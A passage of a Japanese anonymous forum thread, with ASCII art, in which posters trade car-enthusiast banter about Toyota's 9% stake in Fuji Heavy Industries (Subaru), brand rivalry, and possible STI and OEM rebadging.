　　-=≡ 　/　　　 ヽ　 ＼＿＿＿＿＿＿＿
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　-=≡　/.　＼ヽ／＼＼_
　　　　/　　　 ヽ⌒)==ヽ_）=　∧＿∧
-= 　 /　/⌒＼.＼　||　　|| 　(´･ω･`)
　　／ ／　　　 >　） || 　 ||　( つ旦O ←>>215
　/　/ 　　　　/ ／＿||＿ ||　と＿)＿) ＿.
　し'　　　　　（＿つ￣(_））￣ (.)）￣ (_））￣(.)）

株を9%持ったって、パクリはパクリだろ。
富士重工の経営権を握った訳じゃあるまいし。
ただ、株主として発言の機会が与えられた程度の事だろ。
子会社化するには、まだまだだよ。
ダイハツや日野とは、全く別のお話。

>>215
普通にスバルブランドで国内豆乳されそうだHAHAHA

　　　　　　　　　　　　　　　　　　　　　　　/
　　　　　　　　　　　　　　 　 ,. ､ 　 　 　 /　　 ／
　　　　　　　　　　　　　　 ,.〃´ヾ.、　　/　 ／
　　　　　　　　　　　　　／ |l 　 　 ',　 / ／ パクリしか言えない単細胞の
　　　 　 　 ,､　　 　 ,r'´　　||--‐r､ ',　　　 　　　ID:iqCtpjRV0がきたぞー！！
　　　　　 　l.l.　,..ィ'´　　　　l',　　'.j　'.
　　　　　　 'r '´　 　 　 　 　 ',.r '´　!|　　＼
　　　　　　 l!　　　　　....:.:.:.:.:.:ヽ､ 　 ,ｌ　　　　＼
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高速道路発砲事件の目撃車メーカーが必死だな

>>221
↑
本駄さんが必死です

トヨタのスポーツチューナーのブランドが一つ増えるな
ＴＲＤ
ＴＴＥ
ＴＭＧ
ＴＯＭ’Ｓ

ＳＴｉ

Sports Toyota internationalか？ｗ

どうでもいいけどゼロクラウンのCMでMR-Sを起用してる以上、なんちゃってスポーツも売りたがってるのは明白だよな。
とりあえずまだ残るんでない？

>215
来年から「ジャスティ」としてOEM供給する予定です

>>223
ＴＴＥ＝TMGじゃねえか

>>224
ゼロクラウンはもうNSXの速さを手に入れてしまったからなぁ…
もう他社がなんちゃってになってるよｗ

ヨタオタが
話題逸らしだ
必死杉。

とりあえず、トヨタの企業CM痛すぎ。あのF-1のやつ。

パナソニックのヤツ？